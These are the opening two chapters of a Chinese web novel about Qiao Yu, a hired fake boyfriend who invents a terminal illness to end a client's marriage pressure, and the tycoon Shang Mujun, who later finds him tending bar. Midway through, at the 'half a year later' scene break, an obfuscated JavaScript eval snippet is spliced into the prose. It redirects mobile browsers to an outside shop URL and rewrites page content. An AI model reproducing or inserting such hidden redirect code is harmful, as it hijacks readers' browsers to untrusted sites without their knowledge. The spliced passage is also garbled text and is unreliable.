《假Daddy》 1. 第一章 文/温泉笨蛋 2026/3/12 晋江独家发表 ----------- “快讯!商氏集团与中阮日化刚刚宣布达成战略合作,董事长兼总裁商美伦女士亲自出席发布会,有业内人士分析,此次合作或为两家联姻铺路。” 除夕前夜,玻璃窗上贴着大红福字,推杯换盏声不绝于耳,酒楼大厅一派熙攘,墙上挂着的电视里正在播财经新闻,音量调得不高。 “商美伦独子、商氏现任副总裁商牧钧,与中阮千金阮静自幼相识。阮静日前在某慈善晚宴上亮相,据悉,阮静当晚心情颇佳,被问及婚讯时笑而不答……” 乔玉刚好坐在电视机斜前方那桌,一抬头就能看到屏幕上嘴皮子动得飞快的主持人。 一低头就能看到对面正在高谈阔论的中年人:“——我早说了我有内部消息,你们还当我在开玩笑!” “我在商氏那边有人,几个月前就跟我说了集团内部在准备太子爷的婚礼,跟中阮结亲绝对是板上钉钉的事!”中年人盯着电视屏幕直拍大腿,唾沫横飞,“那时候中阮的股票才几块?哎!” 他低头闷了口酒,杯子咕咚咚见了底:“小玉啊,你说说,这一大家子居然都拿我的话当屁放,真是没话讲!” 乔玉被忽然点了名,圆润杏眼里立马漾开一抹笑。 “孟叔叔,那……”他连忙起身,给对方倒酒,“现在还能买中阮吗?” “怎么?”孟叔叔眼睛一眯,“你年纪轻轻的,也玩股票啊?” “之前没买过。”乔玉摇摇头坐下,有些不好意思地抿了抿唇,低头夹了只虾,“但现在想学学看。” 孟叔叔:“为什么啊?” “因为想多挣点钱。”乔玉慢慢说,“以前是一个人过日子,挣了钱也不会花,幸好现在不一样了。” 一桌人齐刷刷看向他。 乔玉没看他们,只顾着低头剥虾。 剥完了,把白净鲜香的虾肉放进身边人的餐盘里,他低垂着眼,睫羽轻晃:“现在有了琪琪,就觉得挣多少都不够花,想把最好的都给她。” 特别深情。 说完了,才转头看对面的琪琪爸爸,动人的眸光里又激起浓浓崇拜:“而且今天又认识了孟叔叔这么厉害的长辈,说句不好意思的,今晚我真的学到了很多……” 特别真挚。 话音落地,安静了几秒。 哐当一声! “这有什么不好意思的!”中年男人拍桌而起,眼睛都亮了,“小玉啊,我跟你讲,中阮是买不得了,这个大利好一出,散户们一呼啦的冲进来,庄家肯定要开始杀猪了,这样,你听我的,马上买青梅酒业!” “青梅酒业?”乔玉继续演绎求知若渴,“孟叔叔是又有什么内部消息吗?” “不不不,这回用不着内部消息。”孟叔叔连连摇头,表情里憋着一股子得意,拉长语调,“还是因为商阮联姻这档子事嘛!” 乔玉作恍然大悟状:“难道青梅酒业是中阮旗下的公司?” “不是!” “那就是商氏的?” “哎呀!都不是,青梅酒业跟这两家都没关系!”孟叔叔舒坦了,哈哈一笑,“小玉你连这点门道都看不出来,还有得学啊,这个利好明明全在刚才的新闻里了!” “我是要多跟孟叔叔学习。”乔玉适时递话,“所以,是因为……” “因为这商家少东和阮家千金的关系啊!”孟叔叔眉飞色舞道,“新闻里说的自幼相识你没听见吗?这是什么意思?” “是他俩青梅竹马啊!再加上主要利好的是青梅这家!” “你别不信啊,我话就放在这儿了,等年后一开盘,青梅酒业至少能连吃三个涨停板!” …… 我靠啊。 乔玉瞪大眼睛:“孟叔叔,你、你……” 再捂住嘴巴:“你简直是股神!” 不行了他嘴角快绷不住了。 真是好有年味的年,和好有爹味的爹。 乔玉忍不住瞄了眼坐在旁边的雇主。 雇主孟琪直接没忍住,嘴角抽了抽:“爸,小玉第一次来跟我们家一块吃饭,你老说这些干什么!” “我说这些怎么了?小玉爱听嘛!”孟叔叔兴致正浓,“催了你这么多年,总算带回来个男朋友,还不许我们聊聊天了?” 哪里是聊天,明明就是你一个人在演讲。 孟琪腹诽着,没再开口拌嘴,心里多少松了口气。 之前她还很担心这么做会露馅,只是年年回家都要被催,为这事不知道吵了多少回,过年都过不安生,实在没办法才出此下策。 没想到雇来的男朋友演得这么好,一点都没被怀疑,还特别讨长辈们喜欢。 ……可能,有点太讨人喜欢了。 酒过三巡,孟叔叔红光满面地开口:“好了,是该说点正事了,小玉啊,你婚房买了吗?打算什么时候跟我们琪琪求婚啊?” 正在喝饮料的孟琪差点喷出来,手忙脚乱地拦:“爸!我跟小玉才认识多久啊,我们俩自己都没谈过这些,而且你们明明跟我保证过不提结婚,我才答应把人带回来的——” “你给我少插嘴!”中年男人不耐烦地打断她,“我跟小玉说话呢!” 他朝乔玉笑笑,语气重了点:“我们琪琪都快三十岁了,本来听她说找了个小自己好几岁的男朋友,我们都不太满意,男人还是要年纪大点才扛得住事嘛。但今天见了你,还是合眼缘的,而且看得出来,你很喜欢我们琪琪,既然这样,你肯定也不舍得让她再白白耗下去……” 这是直接逼婚了。 孟琪听得又急又气,好几次想开口都被一旁的妈妈摁下了,只能眼睁睁看她爸盯着雇来的演员说个没完。 她跟乔玉事先都没商量过这种情况该怎么办! 还能怎么办? 演男朋友还可以随时分手,但结婚是绝对不可能的啊! “爸!其实我们……”孟琪慌了神,差点想不管不顾坦白的当口,桌下的鞋子忽然被什么碰了碰。 她猛地扭头望过去。 乔玉悄悄朝她眨了眨眼。 长而浓的睫毛轻轻一晃,透出底下的一汪清泉,有种令人安心的剔透明亮。 紧接着,他转头看向对面嘴皮子翻飞的中年人,认认真真地说:“孟叔叔,您能这么说真是太好了,我本来还怕你们不肯接受我……您不知道,我简直做梦都想跟琪琪结婚!” 孟琪愣住了。 一刻钟不到的功夫,她茫然地听着乔玉跟自家父母聊婚事,从生辰八字聊到良辰吉日,连小孩的名字都快定下来了。 一桌人全都被她的年轻小男友哄得笑逐颜开,喧闹声中,喝大了的孟叔叔要去上厕所,站起来一阵摇晃。 乔玉动作麻利地脱了厚厚的外套,起身搀他:“孟叔叔,我陪您一块儿去。” “好好好,好小子!”孟叔叔笑得愈发红光满面,十足满意地揽他的肩,“走!” 离开觥筹交错的大厅,走廊清净许多,窗口里透出飘着雪花的冬夜。 中年人放完了水,眯着眼给自己点上烟,又敲出一根分过去。 乔玉摆摆手,语气很乖:“孟叔叔,琪琪不让我抽烟。” “这有什么不让的?”孟叔叔朝餐桌的方向望了眼,嘴里吞云吐雾,“这会儿就我们爷俩,不让她知道就成,接着!” 寒冷的空气里渐渐飘开灰白呛鼻的烟气,缭绕不散。 乔玉抓住机会,深吸一口气,胸口憋着劲,眼眶很快被刺激得泛上一片红:“琪琪也是关心我,是我身体原因,不能抽烟。” “……啊?”孟叔叔动作一顿,面露狐疑,“身体原因?” 乔玉闷闷地咳了两声,却满眼欢欣:“大过年的,不说那些晦气的了,孟叔叔,我们还是继续说结婚的事,我打算年后挑个周末就跟琪琪求婚——” “哎哎,你先等等!”孟叔叔越听越懵,“什么叫晦气?你身体怎么了?是有什么毛病?” “没什么大毛病。”乔玉的声音渐渐小下去。 “吓我一跳!”孟叔叔长出一口气,“你这孩子,怎么还乱说话呢。” 乔玉:“……就是医生说我剩下时间不多了而已。” 孟叔叔:“!!” 乔玉掰着手指算了算:“大概还有两三个月吧,但那是没有遇到琪琪之前的我。” “现在有了琪琪照顾我,我一定能坚持得更久的!”他眸光闪动,满目雀跃,“我是真的没骗您,我做梦都想跟琪琪结婚!” 对面的孟叔叔瞪大眼睛,猛地后退一步。 酒楼里仍旧一片欢腾,觥筹交错,大厅电视机早已播完财经新闻,放起了其他节目。 不太惹眼的角落里,侧门开了又关,一行人进来,脚步声由远及近。 为首的男人一身剪裁考究的黑色羊绒大衣,衣摆沾着一层薄薄的雪花,与内里扣得规规矩矩的衬衣同色,白得很冷淡,鼻梁上架了一副银边眼镜,衬得五官线条愈发凌厉深刻。 他一边走一边听旁边的人说话,偶尔点一下头,唇角带着礼貌性的弧度。 “商总,我们往这边上二楼,包间已经提前留好了,这家是本地最具特色的酒楼,生意非常旺,几道招牌菜都是拿过金奖的……” 本地企业的老总语气殷勤地引路,商牧钧漫不经心地听着,正要走进拐角处的楼梯,耳畔传来一阵嘈杂动静。 他停下脚步,一行人立马跟着站定。 “……孟叔叔,您不要赶我走好不好?我这次明明是特地来见你们的啊。” 嗓音很年轻,听来字字泣血。 商牧钧挑了挑眉,循声望去。 走廊尽头,男孩穿得单薄,松垮的深蓝针织衫勾勒出清俊身形,落进窗口的轻软月色照得他面孔洁白,长得挺帅。 不过他眼眶通红,苍白唇瓣打着哆嗦,话里夹着咳嗽声,看上去病恹恹的:“其实我本来就没有奢望过能跟琪琪结婚的,我只是希望生命的最后两个月,能和深爱的人一起度过……” 商牧钧神情一怔,眉目间的戏谑骤然淡去。 “可是你们明明已经接受了我,给了我希望,为什么又要这么残忍地推开我呢?咳咳……”他步步走近,神情凄惶,“不结婚也没关系,孟叔叔,求求你不要拆散我们。” “不不不……”他对面的中年人听得面色发白,连连后退,后背快要抵到墙角,“不行!我绝对不会让琪琪去照顾你的!” 男孩满脸不舍:“那我照顾她。” “胡说八道!”孟叔叔脱口而出,“你都快死了还怎么照顾她!!” 男孩闻言一愣,吸了吸鼻子,泪眼汪汪道:“对不起,我知道我的病晦气,我就不应该来的,只是我父母去世得很早,我都不记得和家人一起过年是什么滋味了,所以才……真的对不起……” “……”孟叔叔听得僵住,张口结舌,“我我我、我不是那个意思。” 寒凉月光下,男孩扬起唇角,露出一个浅浅的笑,苍白又柔软。 一切尽在不言中。 他含泪笑了,商牧钧看得微微晃神,心情有些沉重。 身后围观的人们也小声议论起来。 “这老丈人也太凶了,人家都没多少日子了,何必这么咄咄逼人呢。” “就是啊,又不结婚,就当积德了,让这个小伙子安心地去嘛。” “说到结婚,对了商总,听说您跟中阮的千金——” ……商牧钧的心情更沉重了。 “李总。”他面无表情地打断,转身上楼,“我半小时后还有其他事,这顿饭恐怕要吃得快一些了。” 身后立刻一片兵荒马乱:“什么?等等,商总您前面才说今晚没有别的安排了——” 半小时后。 酒席陆续散场,外面寒风凛冽。 “如果接下来孟叔叔非要让你跟我分手,往后他们再催你找对象结婚,你就可以利用这一点埋怨他们以前棒打鸳鸯。” 避开人群的角落处,乔玉对雇主轻声交代着:“如果孟叔叔没有逼你分手,而是等我去世,那就更好了,你可以说男朋友生病死了很伤心,一时间走不出阴影。” “总之,无论如何,有这桩绝症摆在这儿,老板你接下来应该可以清净一点,能过几个好年了。” 这次扮演委托称得上是超额完成,乔玉说完后,自己都得意地扬了扬眉。 “真的吗?”孟琪听得一愣一愣的,“万一他们还是不停催我……” “根据我对孟叔叔的了解,应该不会。”乔玉说,“而且,要是他们实在不讲理,你还可以再推到我头上,增加一点玄学色彩,中老年人一般都比较信这个,比如我死前说过做鬼也要缠着你——” 孟琪扑哧笑了:“嗯,没想到大过年的还要让你演这种角色,真是不太吉利,抱歉啊。” “没关系,都是为客户服务。”乔玉毫不在意地摇摇头,“要是后续需要我帮忙圆谎,随时联系我,无论是打电话配合,还是葬礼照片之类的都可以提供——当然,照片都是P的。” 孟琪听得好感动:“幸亏这次找到了你,我都不知道该怎么谢你才好……” “不用谢,明码标价嘛。”乔玉朝她露出一个格外灿烂的笑,“视频通话两百一次,语音电话一百一次,葬礼照片五十一张,都是满五赠一,套餐价很划算哦。” 他笑得露出小虎牙,只有左边有,尖尖的。 在清凌凌的月光下透着皎洁的莹白。 很可爱。 孟琪看得恍了恍神。 反应过来后,脸颊一热,忙不迭从口袋里摸出手机:“差、差点忘了,之前只付了你两千定金吧?我马上把剩下的钱转给你。” 叮咚一声响,手机里到账八千块。 比事先商量好的酬劳翻了一倍。 乔玉没有推辞,笑得愈发灿烂,大大方方地道了谢。 雇主本来只想应付今年的催婚,结果他帮她把后面几年的麻烦也一并解决了。 这完全是他应得的! 道完谢,乔玉接着道别:“我今晚还要赶回云京,差不多该去车站了,孟小姐,提前跟你说声新春快乐!” 孟琪连忙回了祝福,语气很抱歉:“刚才光顾着应付我爸了,小年夜你都没能好好吃顿饭。” “没关系,我是在工作嘛。”乔玉又笑起来,真心实意地说,“孟小姐,新的一年祝你心想事成,无论是想升职加薪,还是想早日遇见心上人。” 月光下的小虎牙莹莹如玉。 他已经转身往外走,孟琪看着那道背影,不知哪来的冲动,忽然出声喊他。 “等等!”她嗓音有些发颤,心扑通扑通跳得很快,“……年后回了云京,我能不能请你吃顿饭?” 被喊住的那一瞬,乔玉脚步一顿,同时出声反问:“啊,对了!孟小姐,我想问问,这边有哪些本地特产?” 两道话音几乎重叠在一起。 “……特产?”孟琪愣了愣。 “我想买点礼物带回家。”乔玉边说边从口袋里掏手机,“等我一下,我先问问她想要什么。” 电话一接通,年轻男孩的目光霎时变得好亮,嗓音都像浸了蜂蜜:“宝宝!你怎么半天才接电话?” 听筒那头猝不及防的另一个年轻男孩:“……呕。” “宝宝你孕吐怎么又严重了?!”乔玉张口就来,“是不是很难受?别怕啊,我马上就回来了!” 听筒那头沉默两秒:“……你再喊下去我真的要吐了。” 这个小年夜一直飘着雪。 漫天风雪又落满了黑色大衣扬起的边角。 酒楼外的小路旁,助理撑起的伞下,商牧钧上车离开前,最后看见的就是这样一幕。 女生久久地站在原地,目送那个得了绝症的男孩孤零零离开,渐行渐远。 光看背影都很怅然。 商牧钧的心情又沉重了起来。 旁边簇拥着送他的人们,顺着他的目光齐齐望去。 “哎,老丈人果然还是棒打鸳鸯了。” “造孽啊,好端端一个小年夜,至少让人团团圆圆过完这两天嘛。” “说到小年夜,商总这会儿是急着回云京吧?嘿嘿,毕竟好事将近,又恰逢过年,肯定得赶回去见阮——” 商牧钧:“…………” 沉重啊。 他面无表情地俯身坐进车里,摘下眼镜,揉了揉砰砰直跳的眉心,淡声道:“李总,留步吧。” 李总扒着车窗挥手作别:“商总慢走,新春大吉啊!年后等您有了空,我立刻去云京拜访您!” 商牧钧温和一笑:“恐怕短期内没有时间,我很快就要启程去非洲跟进集团项目,至少半年内不会回国。” 身后又一片兵荒马乱:“非非……非洲?半半半……半年?!” “等等,商总!我们的项目还没谈完呢——” 豪车已然扬长而去。 雪夜很冷,车子驶过刮起了一阵风,卷着冰凉雪粒,倏地从脖颈里钻进去。 乔玉被冻得打了个哆嗦,连忙从包里翻出围巾裹紧。 他歪着脑袋,手机夹在耳朵和肩膀之间,指尖灵巧地梳过围巾,打了个结,茸茸的毛线绕过下巴,过了好久才把早先被冻白了的面色捂成温热的粉。 一路上他都在打电话,从公交车站讲到土特产商店。 “我还以为今天不用接你的恶心电话。”听筒那头的宋见恩问,“又被谁看上了?” “还能是谁,老板呗。”乔玉忧郁地叹了口气,“没办法,我就是很有魅力嘛,所以我是真的不喜欢接演男朋友的单子,太容易出事。” 宋见恩受不了了:“要点脸吧你,真该让这些老板看看你的真面目。” 乔玉嘿嘿一笑:“不过这个老板特别大方,人美心善,定金加尾款,足足给了一万!” “不到一天,就挣了一万块哎!我甚至还来得及赶回去跟你过年!” 他脚步轻盈,雀跃地在雪地里转了个圈,月光盛满浅浅的脚印。 “按照这个速度,用不了半年……”乔玉哇了一声,声音像云一样轻飘飘的,“我岂不是就变成百万富翁了!” “醒醒。”宋见恩嗤笑,“哪有那么多天上掉馅饼的好事。” 乔玉:“万一呢?万一真掉了呢?一天掉一个,掉下来我就立马吃掉,一百天掉一百个,然后我就……” 宋见恩:“然后你就消化不良了。” 乔玉:“……宋见恩!明天你别想吃到我做的年夜饭!” 宋见恩:“我错了宝宝。” 乔玉:“呕!呸!” 笑声在雪地里飘出好远。 年轻男孩攥着手机仰起脸,星光浸润杏核似的眼,熠熠发亮。 “你别不信啊,我跟你说,我有预感,半年后我肯定已经发达了,发达到天天穿西装打领带的那种,绝对超帅的,到时候如果你好好求我,我就勉为其难地给你也买一身……” 半年后。 更衣镜映出一道俊秀身影,乌黑碎发,白衬衫的袖口扣得整齐严实,黑色马甲勾勒出劲瘦腰线,修长指尖握着领带停在颈间,打了个漂亮的温莎结。 一个字,帅! 他果然很适合穿成这样嘛。 不枉他对着视频教程学了半天怎么打温莎结。 乔玉对着镜子照了又照,正面,侧面,左脸,右脸…… 一直照到房门被砰地推开,探进来一个喷满摩丝的黄毛脑袋。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338124|199263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你又磨蹭什么呢?换个衣服换半天!”来人也是一身白衬衫配黑马甲,一额头青春痘,细长的眼睛里冒着火,“赶紧给我出来!外面都快忙不过来了!” “来了哥!”乔玉连忙把领带掖进马甲,快步跟上去。 外面音乐声鼓噪,年轻男孩跟在黄毛领班身后穿过霓虹闪烁的长廊,黄毛走得很快,眉头紧蹙,口中念念有词。 乔玉偷瞄了他一眼,笑盈盈地凑上去:“哥,我之前听朋友说,调酒能拿酒水提成,他们店是拿一个点,不知道我们这边是……” 黄毛正专心盘账呢,被他吓一跳,脚下一个踉跄:“你特么居然还在想提成?!” “本来就是在抵债,老板肯让你调酒就不错了,再啰嗦小心被拎去陪酒!”他反手揪住乔玉的耳朵往前提溜,“要不是新店缺人手,哪里轮得到你来干这个活!” “……疼疼疼!”乔玉嘶了一声,瞬间老实,“知道了哥,没有提成。” 黄毛骂骂咧咧地松开手,重新迈开步子。 没走几步,耳边冷不丁又飘来一声幽幽的问话:“哥,那要是客人非要塞小费给我呢?” 黄毛:“…………操啊。” 他又忘了账算到哪儿了! “你有完没完!”黄毛彻底怒了,“先把酒调好了再说!就你那现学现卖的三脚猫功夫,哪个冤大头会给你塞小费啊??” 也就是可以收小费的意思咯? 乔玉精神一振,脚步蹭地加快了:“好的哥!我知道了哥!我一定会好好干活的!” “喂——!”黄毛被他甩在身后,“你特么去哪儿啊!” 乔玉头也不回地大声催他:“去调酒啊哥!哥你走快点!外面都快忙不过来了!” 年轻灿烂的嗓音回荡在夜晚喧嚣的酒吧中。 某处卡座里,身形高大的男人似有所察,朝四周瞥了一眼。 “怎么了,看什么呢?”一旁的好友注意到了,连忙左右张望起来,“真撞见熟人了?这可是家新开的店,我特意挑的,不至于这么倒霉吧……” “没有,可能是我听错了。”男人的嗓子带着点风尘仆仆的沙哑,很快收回视线,目光扫过身边人时有点嫌弃,“别看了,你跟个猴似的。” “……”梁召睿愤怒地静止下来,“我这是为了谁!啊?放着舒舒服服的自家场子不去,专门跑到这种破地方来给好兄弟接风洗尘!还不是怕你被哪家大小姐给逮个正着!” 梁召睿嚷嚷个不停,坐在对面的男人听得扬起了唇角。 他一笑,眉骨处未愈合的伤也跟着动了动,昏暗迷离的灯光滚过下颌处成片的青色胡茬,衬得肤色深了些许,身上穿着一件白色亨利衫,领口解开两颗扣子,袖子卷到手肘,露出小臂流畅的肌肉线条,整个人又野又倦,像刚从无人区溜达回来的狮子。 梁召睿上下打量着他,啧了一声:“说真的,老商,我还是比较喜欢你斯文败类的那幅样子,至少那时候你看起来只是会冷不丁地阴我一把,现在看起来像是随时会从座位底下掏出把机关枪突突我——你到底是去非洲搞工程,还是去当雇佣兵了啊?怎么还带了伤回来。” 商牧钧乐了:“小伤而已,有这么吓人?” 他转念一想,沉吟道:“你说我要是用这幅样子出现在她面前,会不会……” “别白费力气了。”梁召睿毫不留情地打断,“阮静要是能被你吓退,就不会在你声称自己喜欢男生的时候,立马要联系医院去做变性手术了。你省省吧,只会是我们俩被她吓到。” 商牧钧:“……” 他头痛地揉了揉额角。 梁召睿继续幸灾乐祸地补刀:“何况现在都不止阮静,除了她,还有一堆大小姐争着抢着要跟你结婚呢。” 云京的豪门圈子里人才济济,但商牧钧从小到大都是最出挑的那一个,长辈里公认能力最出众,同辈里公认最洁身自好,再加上他背后的商美伦,是个带领商氏从濒临破产走到云京巨无霸的商界传奇,可以说这人从家世到自身,全都无可挑剔。 唯一的缺点,可能就是商牧钧曾经多次公开宣称没有婚恋的打算,看上去铁了心要跟事业过一辈子,让一帮怀春少女和妄图强强联合的老东西们都心碎了一地。 直到今年初,此前一向对儿子的感情生活放任自流的商美伦似乎改了主意,在各种采访里都流露出期盼儿子成家的念头,而且和阮家的动作频频,大有一副把阮静认成儿媳妇的架势。 不过,这亲看起来也没结成。 毕竟商牧钧扭头去了非洲,一去就是半年,行踪飘忽不定,别说跟人培养感情结婚了,连保持手机信号稳定都难。 但他怎么都没料到,一朝回国,不仅阮静没消停,还有更多豪门小姐或主动或奉家族之命加入了战场。 想起航班落地后手机里涌入的无数消息,商牧钧就觉得头皮发麻。 他端起眼前的玻璃杯,百思不得其解:“怎么形势变得更严峻了呢?” 梁召睿也举起杯子碰了碰,陪好兄弟一饮而尽:“是啊,怎么就没人非要跟我结婚呢?” “这一点倒是很正常。”商牧钧诚实道。 “不过,”他放下杯子,垂眸扫了一眼,更费解了,“这不是酒吧吗?杯子里为什么是可乐?” “你就活该喝可乐!”梁召睿没好气地翻了个白眼,往不远处张望,“这小破酒吧缺人手,我看调酒师才刚上班,走,去看看这家店有什么招牌。” 他拽着商牧钧往吧台走:“非洲的工程差不多结束了吧,那地方没法拿来躲了,你接下来有什么打算?” 商牧钧嗯了一声:“接下来我比较看好印尼,打算下周先飞过去做个实地调研,那边的市场潜力也不小。” 梁召睿:“……?!” “不是,你等会儿!”他刹停脚步,嗓门陡然拔高了,“印尼??老商,你不会打算就这么在国外那些犄角旮旯躲一辈子吧?!” “那倒不至于。”商牧钧摇摇头。 梁召睿松口气,刚要追问他究竟怎么打算。 又听见他继续说:“国内也有不少基建设施堪忧,有待投资开发的偏远山区。” ……这到底有什么区别啊! 不还是去犄角旮旯躲一辈子吗?! 梁召睿呆立在原地,欲言又止。 半晌,他重重叹气:“其实吧,我觉得联姻也没什么不好的,大家不都这样……而且你也不是非得联姻啊。” “商阿姨明明都说了,但凡你肯带人回家,不管对方是什么样,她都能接受,只要是你喜欢的。这话放眼整个圈子,都没有哪对爹妈会像商阿姨这么开明了啊。” “是很开明,可惜是个陷阱。”商牧钧露出遗憾的表情,口吻平淡,“我明明可以选择谁也不喜欢。” “……老商。”梁召睿偷偷打量发小毫无动容的冷酷侧脸,“我都有点搞不懂你了,你到底为什么这么不愿意谈恋爱结婚啊?” 商牧钧:“因为我更愿意工作。” 梁召睿:“工作也不耽误你成家啊!” 商牧钧听烦了,手臂一扬,圈着他脖子往前方吧台处带:“当然耽误,你难道不知道企业家的平均寿命比普通国民要短二十岁么?” “我去!”梁召睿大惊失色,“真的假的?” “真的啊,你多少也读点书吧。”商牧钧淡定道,“越努力的企业家越短命,按我的努力程度,估计也没剩多少年了。” 梁召睿急了:“喂喂喂,不结婚就不结婚,你咒自己干嘛!” 商牧钧蓦地笑了。 他在吧台前坐下,姿态随性,灯光漫过横着伤的眉骨,继续一本正经地胡说八道:“你想啊,我每天忙得脚不沾地,压根没工夫休生养息,搞不好哪天就查出什么大毛病,要是已经成了家,老婆知道了肯定会很伤心……” 梁召睿一并入座,摇头晃脑摆出一副不听不听的样子,打了个响指叫调酒师过来。 商牧钧偏要折磨他:“就算还没结婚,只是谈恋爱,也一样会痛苦,我之前亲眼见过一对情侣,男朋友得了绝症——” “稍等啊!”同一时间,另一道清亮好听的声音横插进来,“我做完这杯就来,马上!” 商牧钧的话音戛然而止。 他怔住,侧眸望去。 吧台后方灯带闪烁,年轻的调酒师模样俊秀,身姿挺拔,正在一堆酒瓶里来回转悠,脸色带点苦恼,不时低头瞄一眼手机屏幕。 其实打扮和神情都跟小年夜那晚相去甚远,称得上判若两人。 但是…… 注意到有客人在打量自己,调酒师立刻藏起临时抱佛脚的手机,抬眸绽开一个若无其事的笑,扬声道:“两位帅哥可以先看酒单哦,我马上就来!” 一同抛来的还有一个俏皮的wink。 男孩笑得露出小虎牙,只有左边有,尖尖的。 在不够明亮的光线里若隐若现。 很可爱。 就是他。 商牧钧:“…………” 商牧钧:“??????” 不是。 等等。 不对。 不是说生命只剩最后两个月,要和深爱的人一起度过吗? 明明已经半年过去了。 眼前灯色斑斓迷离,调酒师不断晃动白皙手腕,摇酒壶里冰块哐当作响,吧台那头等待着的女顾客托腮看他,嘻嘻哈哈:“小帅哥,你睫毛好长!” 男孩手上不停,抬眸冲她弯了弯眼睛,睫毛果然很长,小扇一般沾满蜜糖:“姐,你眼力真好。” 目睹这一幕的商牧钧眉心重重一跳,半晌没能移开目光。 怎么回事? ……医学的奇迹? 还是,道德的沦丧? 2. 第二章 摇壶高高抛起,一个漂亮的低接,酒液哗啦灌进透明高脚杯。 杯壁插上青柠片,再点缀薄荷叶,浓烈的清香霎时蔓延开。 一连串动作行云流水,白皙手腕转得人眼花缭乱。 “姐,你的莫吉托。”乔玉把杯子推到客人面前,冰块晃得轻轻作响,“尝尝看?” 刚才调笑他睫毛长的客人接过来啜了一口:“还不错,但好像跟其他酒吧没什么区别啊。” “怎么会呢。”乔玉吃惊,“再喝一口试试?” “喝不出来有哪里特别。”客人摇摇头,看了眼印在墙上的招牌,“你还是给我做一杯白色杰克吧,没在别家的酒单上见过,应该是你们店的特色酒吧?” “呃……”乔玉只好陪着笑,“当然是了。” 但就是太有特色了,所以他根本不会啊! 原本当班的那个调酒师突发流感,怕传染客人,请了病假没来,老板才会抓他来临时顶班。 乔玉前面发消息问了配方,对面一直没回,他也不敢乱调,怕砸了店里口碑。 客人看他愣在原地没动:“怎么了,是不能点吗?” 是,不能! 他只会几款最常见的鸡尾酒。 “不是不是,马上给你做。”乔玉盯着她掌心的高脚杯,懊恼地抓了把头发,“我就是有点想不通。” “嗯?”客人的目光立刻被他的反应勾走了,“想不通什么啊?” “想不通这杯莫吉托到底哪里出了问题,我真的觉得这个配方很特别,算是我的招牌,才会跟你推荐的。”乔玉苦恼地问,“姐,你之前常去哪些店啊?” “就那几家嘛。”客人随口报了几家酒吧的名字,又低头喝了一口,“不过我真没喝出来区别,你以前是在哪家店做啊?” 乔玉迅速从云京最火的几家酒吧里,挑了一个没被报到名字的:“我在Blues待过,那时候我手里点得最多的就是莫吉托了。” “真的假的?”听到这个名字,客人顿时面露惊奇,嗓门都拔高了,“在Blues待过?那你很厉害啊小帅哥!” 吧台另一头的两道身影为之一顿,循声望来。 乔玉没注意到,继续哄着眼前的客人:“还行吧,但我也不是每次都肯调这款酒。” 对方就笑:“什么意思,你还敢挑客人啊?” “对啊。”乔玉耸耸肩,一脸无所谓,“所以在那边只待了两礼拜。” 客人挑眉:“哎?” 乔玉摊手:“被开了嘛。” 客人笑得更厉害,手里的酒都晃出来了。 乔玉也笑,拿起桌布轻轻拭去台面上洒落的酒液:“莫吉托是款经典鸡尾酒,清爽烂漫,点的人很多,但真正适合这款酒的客人却没有多少。” 年轻俊秀的调酒师看着眼前的客人,迷离灯光在睫梢凝成潋滟的金。 “让我再试一次吧,好不好?我想重新调一杯特别的莫吉托给你。” 他眨了眨眼:“还是,你要白色杰克?” 被他看着的客人连一秒钟都没有犹豫。 “要莫吉托!” 吧台这头。 “我刚才是不是听到了一个熟悉的名字?难道我幻听了?”梁召睿拿肩膀搡了搡旁边的人。 “嗯。”商牧钧仍盯着那个正在调第二杯莫吉托的年轻男孩,“我也听到了。” “可是我不记得在我家的场子里见过他啊。”梁召睿看着这人调酒的动作,压低声音评价,“动作是蛮漂亮,但也只有这个能看了,其他一塌糊涂,连杯子都用错了,估计就是个刚入行的新手。” 他越说越难以置信:“这水平想在Blues待两小时都算自砸招牌,怎么可能待了两礼拜才被开除?……不行,我得问问。” 梁召睿掏出手机,趁乔玉忙着调酒没注意,抓拍了一张照片,发给Blues的店长。 敲字:「这人你认识吗?说在咱们店干过。」 梁家主要做餐饮娱乐的生意,云京市一大半高端酒店和会所背后都姓梁,Blues就是其中一家。 很快收到回信。 「没有啊梁少,从来没见过他。」 “啧。”梁召睿摁熄屏幕,收回视线,“年纪轻轻的,居然是个骗子。” 他扭头,却发现商牧钧还在盯着那个骗子看,表情严肃得像在处理商务谈判。 “或许……”商牧钧若有所思,“他有苦衷?” 小年夜晚上看到的悲情一幕,实在不像是骗人。 梁召睿:? “你什么时候变得这么圣母了?”梁召睿惊了,慌忙凑过去疯狂晃他肩膀,“别看他了,看我!你不会是在非洲被人夺舍了吧!我说怎么今天一见你就觉得陌生——” 商牧钧被晃得头晕,掀眸睨他一眼,一言不发,颈侧青筋隐约鼓动,凶得吓人。 梁召睿光速缩回手:“——你回来了老商!我好想你!” “抱歉,让两位久等了。”吧台后方传来清亮含笑的声音,“欢迎来到零点,今晚想喝点什么?” 乔玉总算用第二杯莫吉托和一点小把戏,让先前那位女客人忘掉了白色杰克,还额外收到一笔小费。 没时间庆幸,还得马不停蹄接待下一位,他抢在客人开口之前先推荐:“今晚的金汤力和威士忌都卖得很好……” “白色杰克。”梁召睿打断他,“两杯。” “……”乔玉露出微笑,“帅哥很有眼光呢,一眼就选中了特色酒,不过今晚最热门的其实是莫吉托,我们店这款莫吉托的配方很特别——” “不用介绍了。”梁召睿也微笑,“只要白色杰克。” 他要证明给老商看,这小子纯粹就是个骗子! 居然还敢拿Blues的名头招摇撞骗。 乔玉的笑容僵在嘴角,眸光微微闪动。 眼前这两个人的架势,看起来不太像寻常的客人…… “有问题吗?”梁召睿勾起唇角,“你好像很为难的样子。” 见这人没吭声,梁召睿愈发笃定自己的猜测,面露戏谑:“我看你是根本就不会……” “你在这里调酒多久了?”旁边忽然响起另一道有些沙哑的男声。 乔玉一愣。 是这个麻烦客人的同伴。 “……今天刚来。”乔玉斟酌着开口,目光在两人身上来回流转,语气陡然松弛下来,“好吧,不瞒两位,能做白色杰克的调酒师这会儿刚好轮休,店里只有他会调这款酒。” 应对不同的客人,得用不同的办法。 